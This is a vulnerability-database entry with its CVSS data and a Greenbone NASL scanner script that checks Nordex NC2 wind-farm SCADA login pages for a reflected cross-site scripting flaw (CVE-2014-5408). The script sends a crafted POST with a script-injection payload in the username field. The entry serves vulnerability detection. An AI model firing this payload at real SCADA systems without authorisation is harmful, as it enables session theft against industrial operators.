CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
AI Score
Confidence
High
EPSS
Percentile
54.2%
Nordex NC2 is prone to a cross-site scripting (XSS) vulnerability.
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.804789");
script_version("2023-10-27T05:05:28+0000");
script_cve_id("CVE-2014-5408");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
script_tag(name:"creation_date", value:"2014-11-11 17:47:43 +0530 (Tue, 11 Nov 2014)");
script_name("Nordex NC2 'username' Parameter Cross Site Scripting Vulnerability");
script_tag(name:"summary", value:"Nordex NC2 is prone to a cross-site scripting (XSS) vulnerability.");
script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
and check whether it is able to read cookie or not.");
script_tag(name:"insight", value:"Flaw exists because the application does not
validate the 'username' parameter upon submission to the login script.");
script_tag(name:"impact", value:"Successful exploitation will allow remote
attackers to execute arbitrary HTML and script code in a users browser session
in the context of an affected site.");
script_tag(name:"affected", value:"Nordex Control 2 (NC2) SCADA V15
and prior versions");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"WillNotFix");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/98443");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/70851");
script_xref(name:"URL", value:"http://www.auscert.org.au/render.html?it=21058");
script_xref(name:"URL", value:"https://ics-cert.us-cert.gov/advisories/ICSA-14-303-01");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2014 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
http_port = http_get_port(default:80);
foreach dir (make_list_unique("/", "/nordex", "/nc2", http_cgi_dirs(port:http_port)))
{
if(dir == "/") dir = "";
sndReq = http_get(item:string(dir, "/index_en.jsp"), port:http_port);
rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);
if(">Nordex Control" >< rcvRes && ">Wind Farm" >< rcvRes)
{
url = eregmatch(pattern:"<form .*method=.POST. action=.([a-z0-9/]+).>", string:rcvRes);
postData = 'connection=basic&userName="><script>alert(document' +
'.cookie)</script>&pw=&language=en';
host = http_host_name(port:http_port);
sndReq = string("POST ", url[1], " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(postData), "\r\n",
"\r\n", postData, "\r\n");
rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq, bodyonly:FALSE);
if(rcvRes =~ "^HTTP/1\.[01] 200" && '><script>alert(document.cookie)</script>' >< rcvRes)
{
security_message(port:http_port);
exit(0);
}
}
}
exit(99);